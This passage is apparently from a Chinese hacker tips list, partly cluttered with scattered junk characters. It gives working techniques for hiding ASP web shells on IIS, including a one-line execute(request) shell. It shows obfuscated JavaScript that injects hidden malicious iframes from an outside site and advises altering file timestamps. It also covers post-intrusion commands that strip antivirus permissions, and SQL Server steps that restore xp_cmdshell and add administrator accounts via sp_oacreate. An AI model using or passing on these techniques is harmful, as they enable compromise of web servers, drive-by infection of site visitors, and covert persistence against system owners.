- s" Q9 u9 _$ D+ r. X/ n, q执行后可以用AT命令查看新加的任务0 |8 b% }! R( m8 }% h
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。7 b) A, l6 Z) w/ ?
1 E& W8 A. ~6 c# G7 Z! v' G53、隐藏ASP后门的两种方法. A7 p8 @/ G; G$ Q
1、建立非标准目录:mkdir images..\
J, _7 R% ~( b3 ?0 f0 R4 ^1 D, l拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
t1 ?, V: [$ e通过web访问ASP木马:http://ip/images../news.asp?action=login
7 S# q- |3 p' X f; A$ C0 H, }如何删除非标准目录:rmdir images..\ /s" S% h- V/ b7 k" g; h3 h
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
! i& T% a0 a0 i( A, smkdir programme.asp
/ f7 S8 T& h' p5 e) I4 X9 x; o3 h新建1.txt文件内容:<!--#include file=”12.jpg”-->- W! M* U& ]" j- }
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件( h5 n$ P: z/ i, n! r( u( M
attrib +H +S programme.asp" u# e6 q8 M% ?& w3 }
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
p5 `% I( O* H8 [' o4 |; J5 h5 w1 t& |5 T! O& a K
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。# y; r/ ^+ {1 Q4 H$ d2 Y
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。2 g( _3 G! D. H/ R+ i# C% |) d7 E
) y7 o M1 d$ n. h$ _: F55、JS隐蔽挂马
4 U5 {+ l# r0 _$ g1.+ l, F; B1 k* M" v& _2 H
var tr4c3="<iframe src=ht";+ `$ r! o5 o" w8 O+ c& c1 w
tr4c3 = tr4c3+"tp:/";
, {8 R8 ~; Y; ]# k1 F$ w: \tr4c3 = tr4c3+"/ww";
2 s8 S% y& J2 O$ k* ?- Itr4c3 = tr4c3+"w.tr4";
! ^2 }7 V( w% \7 Otr4c3 = tr4c3+"c3.com/inc/m";$ F9 R2 P3 m4 u1 d0 m, N5 \7 Y! | x
tr4c3 = tr4c3+"m.htm style="display:none"></i";" B% `, D ` }( z- l+ o; u
tr4c3 =tr4c3+"frame>'";0 \% g5 r3 L( W! e4 a k c
document.write(tr4c3);, M- I$ g5 |+ o' k
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
$ r) i6 t2 f& F& B. W5 [6 z0 S1 h& l/ Q, j# a/ m5 C8 j+ }
2.
& D: s _3 B! e转换进制,然后用EVAL执行。如
4 f. a4 L' ~2 \eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");. ~& T" L9 e5 t, G
不过这个有点显眼。
6 K/ |( J& J/ H4 u: d3., W7 g }3 M9 g( f# t- Q h3 r
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
4 t% P- d; d! @3 m5 e* `最后一点,别忘了把文件的时间也修改下。
6 C# A3 M* A+ d: q1 \- B) d; ?( e* B9 m1 T0 _
56.3389终端入侵常用DOS命令3 ~; O9 U2 ^5 K* @2 b/ X+ B( h
taskkill taskkill /PID 1248 /t
& o" ^3 r1 |- ~% `$ C/ [3 N' `0 Q- S9 r' \9 m* {; P
tasklist 查进程) Y0 a; G W% M# g; `$ V! A' n
/ z" O. B+ g2 ?& A0 Fcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限3 g% n" E7 E& u. i% t3 `2 f! Q4 D
iisreset /reboot
* |& F# i* u2 n) j5 s J8 {tsshutdn /reboot /delay:1 重起服务器( q1 W3 \# g2 ?9 k) W# `2 I( V, P
+ D" u, n) y3 w/ a9 ilogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
$ j2 \" `6 p+ E3 O% X
! G) d$ K C; k( t0 dquery user 查看当前终端用户在线情况% B$ N, }3 \. V! | L
7 g+ Q4 s7 z2 ?) k3 E' Q
要显示有关所有会话使用的进程的信息,请键入:query process *
, d. p* p$ K/ h* l" S8 D" A4 t2 y9 U: b
' }2 k. A4 t# X% Q+ H; P要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2; a- L ^6 p6 Y K6 x7 d* j
7 Q8 k D" g) {4 H% k, _0 c# I# D% E
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
" W, Y1 N8 E' t
( c% z$ _3 v& d( k4 b6 X要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
1 |# h7 U" ^2 x+ p7 V. Q, A3 Y6 B( `, F o) v4 A8 h# q2 i9 g
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启9 I; g" J3 l; m
: ?: P. o5 m e# i* O6 Q4 Q
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
( z5 v& W; e b: ]( a) J2 \/ V! I1 u6 N0 j; _9 ?8 k n
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
: E& K2 {' J" x% }: p; X) m
/ I6 r7 k$ s* m8 \8 {) r命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机1 a4 e0 X8 G0 T
0 d$ O+ C: r! ~ [1 H: N1 s2 L56、在地址栏或按Ctrl+O,输入:
5 ?! \; S, y. n: W3 ^2 yjavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;, F* w* h4 G" F" y7 u% b" e
1 a* ^* V7 S w- {1 v$ N源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。9 r5 a: e' r0 D. {* o# z
4 @1 m$ r* I3 W0 |: w1 O/ U
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
7 o& |2 c% Q z- M用net localgroup administrators是可以看到管理组下,加了$的用户的。
- j0 S3 o+ r* C, i% r3 X9 ~: ~( X; p- k' K
58、 sa弱口令相关命令
$ p* P' o) n" r! y R% X; I8 P) B3 Y% |$ ~
一.更改sa口令方法:# r+ P9 O( L0 w8 ~+ S
用sql综合利用工具连接后,执行命令:
6 r$ N7 o* L0 ]exec sp_password NULL,'20001001','sa'1 l, e# p/ W$ K& {
(提示:慎用!)
% q. k- V. ?9 `: `6 f7 N
0 s9 k7 w0 R2 F% z I" b1 x二.简单修补sa弱口令.
* ~: Y/ j! C- A6 m8 }% ~/ @) S5 k% g. u: j5 R& j
方法1:查询分离器连接后执行:
, E; C( j, |0 T4 @; fif exists (select * from0 C6 A# P- t( k3 P; d
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
+ ~ C& O# Y, }OBJECTPROPERTY(id, N'IsExtendedProc') = 1) V: n6 f! z: ^( `' n) h' h
8 a. Q, u3 b7 J* N3 L$ @6 y. Qexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
' l3 Z, n) |& ]% }; M% g7 I* z) x9 l, a5 |5 Q; o
GO( k9 W: n: r, D* r+ `
y+ x( K' l2 h" d1 o* c, v8 H/ P
然后按F5键命令执行完毕5 x+ \% y( J$ e+ y* k0 U
* ^: U# o" Q2 g, o, j( f. s& ~6 m ]! }方法2:查询分离器连接后
7 F, B2 J4 L7 ?! }; F. U! W+ T第一步执行:use master, j7 k7 t1 \, K8 Q1 G
第二步执行:sp_dropextendedproc 'xp_cmdshell'
# t8 P1 C2 ]$ G, M然后按F5键命令执行完毕
/ R: _( B O$ @
3 c! W8 l2 M8 d" D
p( q' G8 n- H0 S6 \三.常见情况恢复执行xp_cmdshell.6 @7 e9 p+ `$ X& G/ s$ e, C
9 e' n1 a0 V' Z
- T- N5 m; [1 w' a9 \
1 未能找到存储过程'master..xpcmdshell'.
: l# @2 [1 }+ y. _1 p 恢复方法:查询分离器连接后,' z: C7 Y* ?; g
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
* ]. m( j% P) ]5 e& i0 j. ?4 D第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'5 i, g1 J. b& [5 o; r8 H
然后按F5键命令执行完毕
% w: }' X5 Z3 V9 v
' q) x" I) r( h6 b" Y {- M/ B9 D% \$ k2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
+ W. z. h# S' R+ {2 e9 R+ K2 ?8 {恢复方法:查询分离器连接后,& S! u. T& D0 P/ p( @# u% [( j
第一步执行:sp_dropextendedproc "xp_cmdshell"0 L/ a9 Y7 j) Y; b4 @# c% P
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll': Q3 G, m, s) P9 G6 o: J/ e
然后按F5键命令执行完毕
8 }( U0 H: o2 i r9 `
8 Y$ S4 j1 a/ E1 C( L- w5 q2 H3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)* L3 S& ~6 Y& X- V; K- [! E
恢复方法:查询分离器连接后,
: w& C+ x( F+ F2 Z; N( s- h第一步执行:exec sp_dropextendedproc 'xp_cmdshell'' S& W& g# }& O
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
/ m: Z* A( m2 b$ }然后按F5键命令执行完毕 }! j7 U9 o4 ~, j
1 P I9 o9 f) F. b3 y四.终极方法.
$ l7 {! i4 r1 j' m% B5 s) n# Q如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:( G. R, b& h- K$ c$ g2 [+ T
查询分离器连接后,
# b2 w; e) E: o% P7 D9 ]0 P, Q2000servser系统:+ ? }8 o4 c/ H5 z4 O- R$ L
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'$ d& h: V" I+ p& F; M) g
4 B8 g4 X7 N# t, }" Xdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'5 r( V: H7 q) o: ?7 p* L# l4 `; @
8 e; F7 r2 |6 W2 Xxp或2003server系统:4 B, L" B H' F% A9 P
) ]" r; O( N% [" T. }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
' @( a$ p: h7 U
, p1 k5 u+ A$ \* ]$ ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'- {- R, Y; ?9 O/ t9 h" x! g$ | J
|